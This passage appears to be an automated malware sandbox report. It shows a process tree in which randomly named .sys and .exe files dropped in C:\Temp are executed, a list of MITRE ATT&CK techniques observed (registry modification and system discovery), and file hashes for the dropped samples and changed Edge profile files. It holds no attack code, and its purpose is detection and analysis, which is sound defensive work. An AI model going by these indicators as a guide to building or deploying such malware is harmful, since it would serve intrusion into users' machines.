      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6176,i,10799182754613239001,11743424917147629322,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:14
      4⤵
      PID:2032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6348,i,16264250218034821057,5834884854132317410,262144 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:10
      4⤵
      PID:5328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5688,i,1452442309785857510,8912605308476628750,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3040 /prefetch:14
      4⤵
      PID:4912

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2240

C:\Temp\mhfzxrpjhczusmjh.sys
C:\Temp\mhfzxrpjhczusmjh.sys
1⤵
- Executes dropped EXE
PID:5024

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3472

C:\Temp\jhbzwrpmhb.sys
C:\Temp\jhbzwrpmhb.sys
1⤵
- Executes dropped EXE
PID:5832

C:\Temp\ebztoljgby.sys
C:\Temp\ebztoljgby.sys
1⤵
- Executes dropped EXE
PID:4296

C:\Temp\rlidbvtqli.sys
C:\Temp\rlidbvtqli.sys
1⤵
- Executes dropped EXE
PID:2684

C:\Temp\qnlgdyvqoi.sys
C:\Temp\qnlgdyvqoi.sys
1⤵
- Executes dropped EXE
PID:4352

C:\Temp\sqkigaysqn.sys
C:\Temp\sqkigaysqn.sys
1⤵
- Executes dropped EXE
PID:1860

C:\Temp\pnhfaxspki.sys
C:\Temp\pnhfaxspki.sys
1⤵
- Executes dropped EXE
PID:3848

C:\Temp\fcxrpnhfzx.sys
C:\Temp\fcxrpnhfzx.sys
1⤵
- Executes dropped EXE
PID:1824

C:\Temp\mheuomkecx.sys
C:\Temp\mheuomkecx.sys
1⤵
- Executes dropped EXE
PID:6100

C:\Temp\jgezwuomhe.sys
C:\Temp\jgezwuomhe.sys
1⤵
- Executes dropped EXE
PID:3864

C:\Temp\geywromgey.sys
C:\Temp\geywromgey.sys
1⤵
- Executes dropped EXE
PID:2632

C:\Temp\tolgeywqoi.sys
C:\Temp\tolgeywqoi.sys
1⤵
PID:4416

C:\Temp\vqnlfdyvqn.sys
C:\Temp\vqnlfdyvqn.sys
1⤵
PID:3436

C:\Temp\vtndxvpnif.sys
C:\Temp\vtndxvpnif.sys
1⤵
PID:8

C:\Temp\sqkfcxvsnk.sys
C:\Temp\sqkfcxvsnk.sys
1⤵
PID:4176

C:\Temp\hfzxspkica.sys
C:\Temp\hfzxspkica.sys
1⤵
PID:5724

C:\Temp\xrpjhbzxrp.sys
C:\Temp\xrpjhbzxrp.sys
1⤵
PID:3668

C:\Temp\cwuomjeywu.sys
C:\Temp\cwuomjeywu.sys
1⤵
PID:792

C:\Temp\trljhbztro.sys
C:\Temp\trljhbztro.sys
1⤵
PID:6048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dyvqnifdxs.exe

Path C:\Temp\dyvqnifdxs.exe
Size 365KB
SHA256 a681d3f3fd6b9d047a676f209f7f82c221004350954634102fe0720335371e53
MD5 aa0b0be5f076a23c4f511dbbe5267162
SHA1 085e5cd27b485701cd43fd469e6ec9fe8385520d
SHA512 05f46afed7ef96d48541cc8c6ade63e65acd8afa66ffe1d4b844d93ba0136e9acc13316499162141af4fec32f47466d20a80e7102140a0d0cea00e4105276728
SSDEEP 3072:2uxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:2uxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12D847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ebztoljgby.sys

Path C:\Temp\ebztoljgby.sys
Size 293KB
SHA256 d69aa93da655009d068a6245f454efff76463efaed85cb5d89a0616fa5136bbb
MD5 1e92de0d76ee86059530c6f09e821062
SHA1 628bf0df6ee802c5208e645578ada3584f835e37
SHA512 d7ed594d3788c52a78df08f04edb2918f6a93582748855e672ffaa0500b1e0383a9ec4af502c86ca547035aa945691034e495edd8903a101c90067f826ff2f54
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T1D9545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

heztrljebz.exe

Path C:\Temp\heztrljebz.exe
Size 365KB
SHA256 4406adbf5f9d4efcb6ca8bb79a4c2a1c2c41d7567ddc1711daed41a0aa806842
MD5 57903ad1c0d1e683dc079d0180ab059a
SHA1 47cdb711f3108ba2201db0d1ba1110018e8f5b14
SHA512 b3c4a965724b482a0717b84054eb8b5cad7b68421e4f94f93b22cde41fd8a610ea10df8b233745d79de8c7eda19c9077d13bd74be62cafa56e285ebd2ff082e8
SSDEEP 3072:kuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:kuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T102847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_dyvqnifdxs.exe

Path C:\Temp\i_dyvqnifdxs.exe
Size 365KB
SHA256 691ddda388dfb77138d24764ec6482255d1ab92ce1e3128354e28aab3d683327
MD5 b8f0f633fd821d25cfc91799b0d40dcf
SHA1 360941f59b018a9c77acf1d5d576dc09be14b6e0
SHA512 331ced6393052e6b6465ca16b32b62c6240e5154b50fb2f8bc9cd90852572219ca6333bc65813ee842fcaf4dd009bb18cb103545200c90e151840ddebea1bf26
SSDEEP 3072:nuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:nuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10D847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_heztrljebz.exe

Path C:\Temp\i_heztrljebz.exe
Size 365KB
SHA256 b1b81b818b762c8f29e7ef9bb74a783aab2d9a80cbf38f286351b12ad4df3d53
MD5 90beace3861d65de07cb8043dd873bc7
SHA1 33d3b071e117e2a53162c1eedf6de3862ab48f07
SHA512 81003acd55a41a39f2a0e0d18e04bdc8b10f41773d3987a443a27fafdba5fb2f73c2c63a3e09ec874fc9af6fdedc0e192a6ec410a3d1304b1f84eb044a938c11
SSDEEP 3072:vuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:vuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T15C847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mjhfzxrpjh.exe

Path C:\Temp\i_mjhfzxrpjh.exe
Size 365KB
SHA256 8dbfc724bc8b0756ad8bdaa698d272d48a3dec09b0260922f8debfe94d1c78d8
MD5 8c8776a1b7883152884b7ba513b91310
SHA1 24a5b28436e1bae854e50cdc248c86606b6b2d8a
SHA512 a55e94bec67171bb3bac5be0003d4ce249c6fdce0c6263643f0c405741ed16b39eea3b4c36b7d0da68e9701d76c170f94cca4eafa5d95b27d7e2cbcbfb84410e
SSDEEP 3072:tuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:tuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T187847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nlgdytqofd.exe

Path C:\Temp\i_nlgdytqofd.exe
Size 365KB
SHA256 184943c589cc7ee767c8e8818b8914e72a43f327cacc30c35635095053d1b8b8
MD5 a47158d3cb5aa597cf0e0d541e7cdf35
SHA1 7e776ae67fea61748d679af329e88378616984ea
SHA512 aa0db54f9777462f458d7988574a39b3d9efd4461b6be30166cbc3e4778b5593a4b937646844ac0ffa2fe18ac7a5950e9d5f5924786b9616c1ec0ac4ae01b887
SSDEEP 3072:RuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:RuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T13E847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tolgeywroj.exe

Path C:\Temp\i_tolgeywroj.exe
Size 365KB
SHA256 2b6a6814302dcb2bc7574a05185f56510c36a57b04a0bb982a4d064b06c14a63
MD5 aa78085508cc22b8c5304f7137dff023
SHA1 840ca291a2fc0e4b2c42cd9e4b839f03bdbcd8fd
SHA512 4e9c801486bf70b72b43758642f666e6e7e154834a5660bac94ecc9814579dd4e3f013f321fc23e66cabcc2e06aee5aa542840744be8a10b7e2aa5ea9a703cc2
SSDEEP 3072:YuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:YuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T121847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbzwrpmhb.sys

Path C:\Temp\jhbzwrpmhb.sys
Size 293KB
SHA256 59736af2d07aa97461b0d58b686d661ab1e7e78e2f9a04150946af96a68271b5
MD5 ca231b567626b99f3c793252c51652b7
SHA1 a793ce5060399b690b6ec92e3b9b32515e0b46f2
SHA512 3b482a8d2e82b2be4cb283ab763dd8404ffb3573be1fcec14d0f632e7e0e5dcfc70f77fa207a377bfaf3d3ccbd385f619fe17cbeaf64fc1355666a2948079fca
SSDEEP 3072:DtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:DIJjiJcbI03GBc3ucY5DCSj
TLSH
T160545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhfzxrpjhczusmjh.exe

Path C:\Temp\mhfzxrpjhczusmjh.exe
Size 365KB
SHA256 4eaa3afb8a292082739624e5560a1b0e1ea7db8263e15f6dcd3927a67eb34d53
MD5 fdb55667d7c37f74d5e24fe2bbfe9656
SHA1 811591038691f824a9d15e7620ee0dd9f32d113d
SHA512 4ec91112b931fddcf3a99f3ac98c8306dcb4806561141236b0a02d46c97653b54cc8155fb89d7f9ce08413ec654dd07a6290953f0fe69200be90b7ec806764b8
SSDEEP 3072:nuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:nuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T158847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhfzxrpjhczusmjh.sys

Path C:\Temp\mhfzxrpjhczusmjh.sys
Size 293KB
SHA256 e3e5677cb585fbfd762c500171241f4a88a3e2a0631559c687a8644a5c554b37
MD5 a868c575fa8e50475eecadd123bb1d68
SHA1 12b8f02b83bd022653d514b670771c18b356b595
SHA512 188e2badd5f7a35c81be2d94a573b0a202a0def4c7bab7f3f76c6c3ffe23dccac5fa0fc843411c3ecd4355cb23d219835d78f5afd193ceeb810ff007cd584d6d
SSDEEP 3072:DtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:DIJjiJcbI03GBc3ucY5DCSj
TLSH
T172545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mjhfzxrpjh.exe

Path C:\Temp\mjhfzxrpjh.exe
Size 365KB
SHA256 c6ddde389dcb1cb230355fccc94d54b603c36cf7d8ab0c9c9b4b286b9efb75fc
MD5 1e9016df94f01774a8795d5d0141e256
SHA1 6fffc10e324aa13c57b2d816a08de902c4ff7d5a
SHA512 2f734660ae3e0a9f9715e399cb2fd25b27b749f38bee7fdd7715a8bbcf6a77a4d4cb9e84228d79cd03bc3e55b18346c301b9e6d3c26b1247538fdcee4ad85e0a
SSDEEP 3072:xuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:xuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T149847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nlgdytqofd.exe

Path C:\Temp\nlgdytqofd.exe
Size 365KB
SHA256 dfd83e3d6fd159e2771ed050267a9845acab3c6374ecc1ac139504a2662c03f1
MD5 f5fb0884e97455b9d053f8dbd865b1c1
SHA1 83c26cd81ed12453c0aa28348d7f34e75da39c63
SHA512 c551cfb150b5f0710fb6fe6f319a0826842f70461fe524ffb6a245fa3e7702d8914727f47914c00ddcd6ffcadf911982fdc59dd2c9ecfa931b16cb05b6c10103
SSDEEP 3072:5uxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:5uxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T175847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qnlgdyvqoi.sys

Path C:\Temp\qnlgdyvqoi.sys
Size 293KB
SHA256 11d26feba28b23bb5a27469e50f1f2b1adcfae00e9226645678e55258f105b2b
MD5 23d603b543aa18c887b8a3bb1b4d7ba6
SHA1 0cbb41bbc6586ed04bf3343c8aa0634f0e34795c
SHA512 12c6205faed42ebdec9331a4d3b61a12ff5603c36d9fd5869c86a8aae93d27297355d024e91e6fc20a4f8598b1854afcf0a727ac59e03b8696f6bcdce7de21e6
SSDEEP 3072:NtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:NIJjiJcbI03GBc3ucY5DCSj
TLSH
T1BF545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rlidbvtqli.sys

Path C:\Temp\rlidbvtqli.sys
Size 293KB
SHA256 fb0880e3708f0df0163fe4872d6eec8965aa57b082eab1c0bda016fd1502ce42
MD5 6e04670bda8ac91a26b69915730b96e5
SHA1 c8f0174c3ded4801ec54b366d756455254a0f34f
SHA512 e71074671ab4f0aa48bf07f186675c0f18c4c05f4b8cdfcfd0c962ce46f1cb63ccb50c87b9b11b7218f031fa283196eeef1a0b214e74971021fc50c716326637
SSDEEP 3072:ntKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:nIJjiJcbI03GBc3ucY5DCSj
TLSH
T1CD545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqkigaysqn.sys

Path C:\Temp\sqkigaysqn.sys
Size 293KB
SHA256 41105502c21f24c5ade1bd1c78a038c346762d05e7b84279dd3cda8a119a12f9
MD5 619187784d2f27f1581e1827c0072b4b
SHA1 fb3fbb7a835cd9cf89b0fecbbf75f40c265a929a
SHA512 91ba7196674d4e8906811d219467b0ef76ecc1d844f13471b04e5208aafcea5698204670b07a19e85d9938a0dbbcb6c348efbcf8b60ea3a495f7530e4c747fac
SSDEEP 3072:ItKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:IIJjiJcbI03GBc3ucY5DCSj
TLSH
T19E545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tolgeywroj.exe

Path C:\Temp\tolgeywroj.exe
Size 365KB
SHA256 8569607e289c2a970d0db7aa68b5af1075736af7eafd706ca9d6c2b3bb31252a
MD5 69286fbb66b47fb25ea4135e8245574c
SHA1 e6a5853fdcde93af68c6259282ef850654225e63
SHA512 d7211212ab02e578fc417da285a72f47f86555f25b9ac4e1849d34f555aafa61288e1746f8508f9f872bf30c273d1a7d073bce3363683c89ff2d0b08daf2d3ba
SSDEEP 3072:9uxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:9uxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12C847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 9420686d12b2cba6dc69896d607eadac629280a010e5358a4872ab9753f24ed7
MD5 8be6e81804d8b903ae07c11b2e53e3d9
SHA1 817c41cb00b05a8f2040323b93c6416b92dbc01b
SHA512 c2cfff48ebb312975aa2615d841d0badff185589ad3a3f5e8420c2ea0eb5dc0e5354d917cc43d57bec169a63d4fa21d66e91dc3e195592ece23d37fff7c04680
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
TLSH
T1CDB3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 168dc438fa355b9b84e416f9d4caca14da218ad190d72da09fe489277625815d
MD5 39064a84dfec9bbd8c4b789b6d7a7c62
SHA1 5d817a4df5ed7bd1eac0c4bc0464a76007ad0c46
SHA512 3a4f32a1ad3eb6c391e6d11f4f6ba07c4d21cc935ddd8fd93306857b9e0cfda06c39786a872cae88f394320921a63296ad4df0e61334710db192febec2f48618
TLSH
T1B5D0C034763961C2C92725B2CC3163007320007030B587425171840C8E3489667CF3C3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 034f24de689a7def9772f2639a5ddbbedb0b28137b49c19b71158018eda66f27
MD5 0acd876b7d1df982e21737cea2b433e0
SHA1 4140711d8b0f6bfa111e8d306d1aed5aaa07860f
SHA512 c4ee3c53bfa042ccd288fcee194acae6059cefcd97d740ba908b0c0c3fcd94e2172fd30319909d9418fe2ab0a9a03d8e3ef9a058a540b973c3f203e2a0bceb01
TLSH
T187D02334753977D6D53925B2C8305700767400B275B5474561614D0DCE744D77BCBBD6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 08a3eccff4cd9b05162ffe0d083662ea8cd60457899147f42dbbf95a0a97d97e
MD5 394c25b8b347a39d61b9cf28babb5c77
SHA1 c7334bcf8642ac580d30cf31659724fe1ab323c9
SHA512 8e5c09dada01bf020bbf53884d65940c521dc62e17d9ce99fe6c571edde4b95c7c7716f2eda97b70568b2cbac8823e7afed5a9bac7be39d1acc6fc95c23a4b1c
TLSH
T1F6D0C038762962C2C92725B2CC3063007330007030B587425071440C8E3489667CF3C7
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 706d128d6044c7bc08a743b8e03e848fc7b6057e47784336856d43c3b37b087b
MD5 d7db81c633ff33bc3032eef75591a13b
SHA1 f7484500fb0dca72dca8eada853067c3de80f7b3
SHA512 99c89236dc918b44399c792d677275b300d3dbffd023107c844e23742184dab4df06de8cdd649484b6bf40f20aa0939a515b58b9cb03ab0b78680865450265b6
TLSH
T17731FA94336408F7D7949DF215F84AC7317C97BC46076E11D584A33F49B7B65BD12029
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 94bc6cca3f95979005c0484a935af2bf9b09ae3bcdeb385c17b2a3c511fcd820
MD5 ec95a3649f9c51bb0c20e04d97a8bd4d
SHA1 9c772588a5ebdc9a3e5344587886be456f180ea0
SHA512 357581f2c1a317eda260ee4f106701bff95f05dac63b655ec15e2f7a858b17fd72962a43128eaf49cad5bde127608384370bb87e59d9e88ccd0b5527c88eabd6
TLSH
T136418BF3C3E8866E890156F0AB186E2BCE1D0955832C3D5AC9E4AF5B93E3471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 ed4924596fd91523d67f141151d444bb89f97751d4f31bf48e3650e50260d5d3
MD5 35f00bdf716da00c2d2ea6f133407765
SHA1 5442b17459b7924fa2322d74712368d0592b5bcf
SHA512 be0c3029ff58c6d07d458c18566d04bb2c8e4d2760f7132b62b2ae9d3c7bb455455f5ce8ae842c84eaef2cf9d7c530005a7429b9af30464243a38f08988d0516
SSDEEP 192:sxRpRryM/jK1Ml8wCM/fOsfM/ZHOuPVzoA8pi/g6+WNIYZ7BKsPGthIgtJ:sxRpH8M/fOsfMhuuP4i/5I+23
TLSH
T18A52D8166A34997BDCCBD209FA557F93D6F81573A2901E44AAFCCA0C40E7ADD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 a32e42cfc479c24d7739113fb9f92e78f3839fe96bf39a17b62de5e4ec5de24e
MD5 5e83da25a6e26d2c87bb9bc8d27bd694
SHA1 414d0af5d2cd4d35d7fe4da03409d34282cb5aec
SHA512 6cf8aea0d50343c1542e993df2034926f4e28501bea2146c124301cefb2ee725c9eb0fa0638daffc87a0e9ef1991cca8bb7fcdc9594c0ced63ba58a8a1d7db32
SSDEEP 192:sxRGRryM/jK1Ml8wCM/fOsIM/ZHOuDVzoA8p9d/g6+WNIYZ7PKsPGthIgDAJ:sxRGH8M/fOsIMhuuD4v/5I62Y
TLSH
T14962D8166A34997BDCCBD209FA557F93D6F81573A2901E44AAFC8A0C40E7ADD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 f8a061bc355f1342c6f0253d2e2a11d0adbeb6fcfdc5c415be74f5290400111d
MD5 413e283d29385b34454cb8531fb47872
SHA1 d68d2b37a0e54c23c00be3f04ce8f90d2b01a2c9
SHA512 96191702f8575db5dbd1aea37886eab5ab533e93632dfbcd8c17837c3c30ff297bd81d00ef2797a7074226000fc9a0b15052450cb1c38aebeb3c53538da5d446
SSDEEP 192:sxRGRryM/jK1Ml8UQhCM/fOsIM/ZHOuDVzoA8pry/g6+WNIYZ7P+sPGthIgDAJ:sxRGHq4M/fOsIMhuuD4u/5Ik2Y
TLSH
T1CA62C8166A349D7BDCCBD209FA517F93D6F85572A2901E44AAFCCA0C40E7ADD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

